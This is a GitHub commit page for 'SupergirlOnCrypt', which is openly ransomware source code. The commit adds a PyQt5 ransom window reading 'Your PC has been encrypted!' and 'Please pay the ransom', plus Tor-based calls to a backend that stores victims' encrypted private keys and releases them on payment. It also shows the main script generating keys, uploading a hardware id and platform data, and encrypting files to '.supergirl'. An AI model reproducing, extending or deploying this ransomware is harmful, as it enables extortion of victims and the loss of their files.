Skip to content

Commit

Permalink
BASIC! GUI with decryption
Browse files Browse the repository at this point in the history
  • Loading branch information
ThoughtfulDev committed Sep 2, 2017
1 parent 274dee9 commit 5c7e255
Show file tree
Hide file tree
Showing 7 changed files with 91 additions and 18 deletions.
79 changes: 79 additions & 0 deletions GUI.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
from PyQt5 import QtCore
from PyQt5.QtCore import QSize
from PyQt5.QtGui import QImage, QPalette, QBrush, QFont
from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox
from Helper import Helper
from TorManager import TorManager
import Config
import json
import base64
from pathlib import Path
from FileCrypter import FileCrypter


class GUI(QWidget):
def __init__(self, uuid):
self.uuid = uuid
QWidget.__init__(self)
self.headerFont = QFont("Times", 25, QFont.AllUppercase)
self.setup()

def setup(self):
self.resize(800, 600)
self.setWindowTitle("SupergirlOnCrypt")
self.setWindowFlags(self.windowFlags() | QtCore.Qt.CustomizeWindowHint)
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMaximizeButtonHint)
self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMinimizeButtonHint)
self.setbg()
self.placeWidgets()
self.show()

def setbg(self):
h = Helper()
oImage = QImage(h.path("res/gui_bg.jpg"))
sImage = oImage.scaled(QSize(800, 600)) # resize Image to widgets size
palette = QPalette()
palette.setBrush(10, QBrush(sImage)) # 10 = Windowrole
self.setPalette(palette)

def placeWidgets(self):
#heading
self.lbHeader = QLabel("Your PC has been encrypted!", self)
self.lbHeader.setFont(self.headerFont)
self.lbHeader.setStyleSheet("QLabel { color: white;}")
self.lbHeader.setGeometry(190, 10, 500, 50)

#button decrypt
self.btnDecrypt = QPushButton("Decrypt", self)
self.btnDecrypt.move(650, 550)
self.btnDecrypt.setStyleSheet("QPushButton {background-color:black; color: white; width:100px; height:24px;} "
"QPushButton:hover {color:green;}")
self.btnDecrypt.clicked.connect(self.decryptData)

def decryptData(self):
tor = TorManager()
r = tor.getSession()
req = r.get(Config.API_URL + "/decrypt/" + self.uuid)
data = json.loads(req.text)
if data['STATUS'] == "FAIL":
QMessageBox.question(self, "Still locked...", "Your machine is still locked\nPlease pay the ransom", QMessageBox.Ok)
elif data['STATUS'] == "SUCCESS":
privkey = base64.b64decode(data['priv_key']).decode('utf-8')
pathlist = Path('./test_files').glob('**/*.supergirl')
not_encrypted = []
h = Helper()
for path in pathlist:
path_in_str = str(path)
fc = FileCrypter()
try:
fc.decrypt_file(path_in_str, privkey)
h.info("Decrypted " + path_in_str)
except IOError:
not_encrypted.append(path_in_str)
h.error("Could not decrypt " + path_in_str)
if len(not_encrypted) > 0:
QMessageBox.question(self, "Error", "Files: " + str(not_encrypted) + " could not be decrypted", QMessageBox.Ok)
else:
QMessageBox.question(self, "Something happend", "All Files have been successfully decrypted!", QMessageBox.Ok)
import sys
sys.exit()
17 changes: 10 additions & 7 deletions SupergirlOnCrypt.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.backends import default_backend
from PyQt5.QtWidgets import QApplication
from RSA.RSAKeyGen import RSAKeyGen
import base64
import sys
import platform
import uuid
import Config
Expand All @@ -11,6 +13,7 @@
from Helper import Helper
from FileCrypter import FileCrypter
from TorManager import TorManager
from GUI import GUI

_helper = Helper()
_session = 0
Expand All @@ -20,7 +23,10 @@ def init():
tor = TorManager()
tor.startProxy()
_session = tor.getSession()
genKeyPair()
id = genKeyPair()
app = QApplication(sys.argv)
oMainwindow = GUI(id)
sys.exit(app.exec_())


def genKeyPair():
Expand All @@ -29,8 +35,9 @@ def genKeyPair():
cipher_cpriv_key = base64.b64encode(encryptClientPrivKey(keys.getPrivateKeyAsStr()))
#send key and sys info to API
os_info = platform.platform()
unique_id = str(uuid.uuid4())
data = {
'hwid': str(uuid.uuid4()),
'hwid': unique_id,
'priv_key': cipher_cpriv_key.decode('utf-8'),
'platform': os_info
}
Expand All @@ -49,11 +56,7 @@ def genKeyPair():
except IOError:
_helper.error("Could not encrypt " + path_in_str)

#fC = FileCrypter()
#fC.encrypt_file("info4.pdf", keys.getPublicKeyAsStr())
#time.sleep(40)
#fC.decrypt_file("info4.pdf.supergirl", clear_key.decode('utf-8'))

return unique_id


def encryptClientPrivKey(priv_key):
Expand Down
Binary file modified backend/db/db.sqlite
Binary file not shown.
1 change: 1 addition & 0 deletions backend/src/routes.php
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,7 @@
$output = '';
exec("python ./bin/decrypt_key.py " . $filename_tmp, $output);
$ret['priv_key'] = $output[0];
$ret['STATUS'] = "SUCCESS";
unlink($filename_tmp);
return $response->withStatus(200)
->withHeader('Content-type', 'application/json')
Expand Down
1 change: 1 addition & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -2,4 +2,5 @@ cryptography
pycryptodome
requests
pysocks
pyqt5

Binary file added res/gui_bg.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
11 changes: 0 additions & 11 deletions tor_bin/tor_test.py

This file was deleted.

0 comments on commit 5c7e255

Please sign in to comment.